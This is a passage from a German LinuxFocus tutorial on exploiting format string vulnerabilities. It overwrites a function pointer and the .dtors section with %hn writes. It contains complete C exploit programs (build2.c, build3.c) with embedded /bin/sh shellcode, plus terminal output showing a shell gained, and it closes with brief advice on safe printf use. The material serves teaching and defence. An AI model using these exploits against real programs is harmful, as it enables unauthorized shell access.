>./vuln `./build 0x8049848 0x8048664 3` adr : 134518856 (8049848) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [JH%.2044x%3$hn%.32352x%4$hn] (33) argv2 = bffff694 (0xbffff51c) helloWorld() = 0x8048648 accessForbidden() = 0x8048664 before : ptrf() = 0x8048648 (0xbffff434) buffer = [JH000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000] (127) after : ptrf() = 0x8048648 (0xbffff434) Welcome in "helloWorld" You shouldn't be here "accesForbidden" Segmentation fault (core dumped)Alles läuft wunderbar: erst
main()
dann
helloWorld()
und exit. Der Destructor wird aufgerufen
und der Abschnitt .dtors
fängt mit der Adresse
von accesForbidden()
an. Da es dort keine richtige
andere Adresse einer Funktion gibt, erhält man den erwarteten
Coredump.
Das war eine einfache Ausnutzung eines Sicherheitslochs. Nach dem
gleichen Prinzip kann man eine Shell erhalten. Man kann den
Shellcode entweder über argv[]
oder über
eine Umgebungsvariable übergeben. Wir müssen nur die
richtige Adresse setzen (z.B die Adresse der eggshell) im Abschnitt
.dtors
.
Bis jetzt wissen wir:
In der Realität ist das verletzbare Programm oft nicht so einfach und sympatisch wie unser Beispiel. Wir benutzen daher eine neue Methode, die es uns erlaubt, den Shellcode in den Speicher zu schreiben und dann seine exakte Adresse zu finden (das heißt keine NOPs mehr am Anfang des Shellcodes).
Die Idee basiert auf rekursiven Aufrufen der Funktion
exec*()
:
/* argv.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char **argv) { char **env; char **arg; int nb = atoi(argv[1]), i; env = (char **) malloc(sizeof(char *)); env[0] = 0; arg = (char **) malloc(sizeof(char *) * nb); arg[0] = argv[0]; arg[1] = (char *) malloc(5); snprintf(arg[1], 5, "%d", nb-1); arg[2] = 0; /* printings */ printf("*** argv %d ***\n", nb); printf("argv = %p\n", argv); printf("arg = %p\n", arg); for (i = 0; i<argc; i++) { printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]); printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]); } printf("\n"); /* recall */ if (nb == 0) exit(0); execve(argv[0], arg, env); }Die Eingabe ist ein
nb
Integer und das Programm wird
sich nb+1
mal rekursiv aufrufen:
>>./argv 2 *** argv 2 *** argv = 0xbffff6b4 arg = 0x8049828 argv[0] = 0xbffff80b (0xbffff6b4) arg[0] = 0xbffff80b (0x8049828) argv[1] = 0xbffff812 (0xbffff6b8) arg[1] = 0x8049838 (0x804982c) *** argv 1 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) *** argv 0 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c)
Wir erkennen sofort, daß die Adressen von arg
und argv
nach dem zweiten Aufruf sich nicht mehr
verändern. Wir benutzen genau diese Eigenschaft für
unseren Angriff. Wir müssen nur unser build
Programm leicht modifizieren, so daß es sich selbst aufruft,
bevor es vuln
aufruft. Auf diese Weise erhalten wir
die genaue Adresse von argv
und unserem Shellcode:
/* build2.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //Same function as in build.c } int main(int argc, char **argv) { char *buf; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if(argc < 3) return EXIT_FAILURE; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL); } else { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", argv[2]); buf = build(strtoul(argv[3], NULL, 16), /* adresse */ argv[2], atoi(argv[4])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL); } return EXIT_SUCCESS; }
Der Trick ist, daß wir wissen, was wir aufrufen müssen
gemäß der Anzahl der Argumente, die unser Progamm
erhält. Um unseren Angriff zu starten, geben wir
build2
die Adresse und den Offset, wo wir schreiben
wollen.
Um zum Erfolg zu kommen, müssen wir das genau gleiche Memory
Layout zwischen den verschiedenen Aufrufen zu build2
und vuln
behalten:
>>./build2 0xbffff634 3 Calling ./build2 ... adr : -1073744332 (bffff634) val : -1073744172 (bffff6d4) valh: 49151 (bfff) vall: 63188 (f6d4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34) Calling ./vuln ... sc = 0xbffff88f adr : -1073744332 (bffff634) val : -1073743729 (bffff88f) valh: 49151 (bfff) vall: 63631 (f88f) [6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿00000000000000000 000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000] (127) after : ptrf() = 0xbffff88f (0xbffff634) Segmentation fault (core dumped)
Warum hat das nicht funktioniert? Wir haben gesagt, wir
müssen die exakte Kopie des Memory Layouts zwischen den zwei
Aufrufen einhalten ... und wir haben es nicht getan!
argv[0]
(der Name des Programms) hat sich
geändert. Unser Programm heißt zuerst build2
(6
bytes) und dann vuln
(4 bytes). Es ist ein Unterschied
von 2 Bytes, was genau der Wert ist, den man im vorherigen Beispiel
sehen kann. Die Adresse des Shellcodes während des zweiten
Aufrufes von build2
ist durch
sc=0xbffff88f
gegeben, aber die Anzeige von
vuln
in argv[2]
ergibt
20xbffff891
: unsere 2 Bytes. Um das zu lösen, ist
es genug, unser build2
in bui2
(nur 4
Bytes) umzubenenen:
>>cp build2 bui2 >>./bui2 0xbffff634 3 Calling ./bui2 ... adr : -1073744332 (bffff634) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff891 adr : -1073744332 (bffff634) val : -1073743727 (bffff891) valh: 49151 (bfff) vall: 63633 (f891) [6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000] (127) after : ptrf() = 0xbffff891 (0xbffff634) bash$
Wieder gewonnen: jetzt funktioniert es viel besser ;-) Die
eggshell ist im Stack und wir haben die Adresse, auf die
ptrf
zeigt auf unseren Shellcode zeigen lassen.
Natürlich funktioniert das nur, wenn der Stack ausführbar
ist.
Wir haben jedoch gesehen, daß man mit Formatstrings
überall schreiben kann. Laß uns einen Destructor
für unser Programm im Abschnitt .dtors
hinzufügen:
>>objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 80498c0 ffffffff 00000000 ........ >>./bui2 80498c4 3 Calling ./bui2 ... adr : 134518980 (80498c4) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [ÆÄ%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff894 adr : 134518980 (80498c4) val : -1073743724 (bffff894) valh: 49151 (bfff) vall: 63636 (f894) [ÆÄ%.49143x%3$hn%.14485x%4$hn] (34) 0 0xbffff86a 1 0xbffff871 2 0xbffff894 3 0xbffff8c2 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [ÆÄ000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000] (127) after : ptrf() = 0x80486c4 (0xbffff634) Welcome in "helloWorld" bash$ exit exit >>
Hier gibt es keinen coredump
beim Beenden unseres
Destructors. Das ist, weil unser Shellcode ein exit(0)
enthält.
Zum Abschluß noch ein kleines Geschenk. Hier ist
build3.c
, das auch zu einer Shell führt, aber es
kann über eine Umgebungsvariable eingeführt werden:
/* build3.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //Même fonction que dans build.c } int main(int argc, char **argv) { char **env; char **arg; unsigned char *buf; unsigned char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; env = (char **) malloc(sizeof(char *) * 4); env[0]=&shellcode; env[1]=argv[1]; env[2]=argv[2]; env[3]=NULL; execve(argv[0],arg,env); } else if(argc==2) { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", environ[0]); buf = build(strtoul(environ[1], NULL, 16), /* adresse */ environ[0], atoi(environ[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; execve("./vuln",arg,environ); } return 0; }
Nochmal zur Erinnerung: Da die Umgebungsvariablen im Stack liegen, müssen wir darauf achten, nicht den Speicher zu modifizieren.
Hier benutzen wir die globale Variable extern char
**environ
um die Werte zu setzen, die wir brauchen:
environ[0]
: enthält den Shellcode;environ[1]
: enthält die Adresse, in die wir
schreiben wollenenviron[2]
: enthält den Offset."%s"
ein, wenn Funktionen wie
printf()
, syslog()
, ..., aufgerufen
werden. Falls man es überhaupt nicht vermeiden kann, dann
muß man die Eingabe des Benutzers genau prüfen.
exec*()
Trick) und
seine Ermutigungen haben sehr geholfen ;-)
|
Der LinuxFocus Redaktion schreiben
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL LinuxFocus.org Einen Fehler melden oder einen Kommentar an LinuxFocus schicken |
Autoren und Übersetzer:
|
2001-06-30, generated by lfparser version 2.17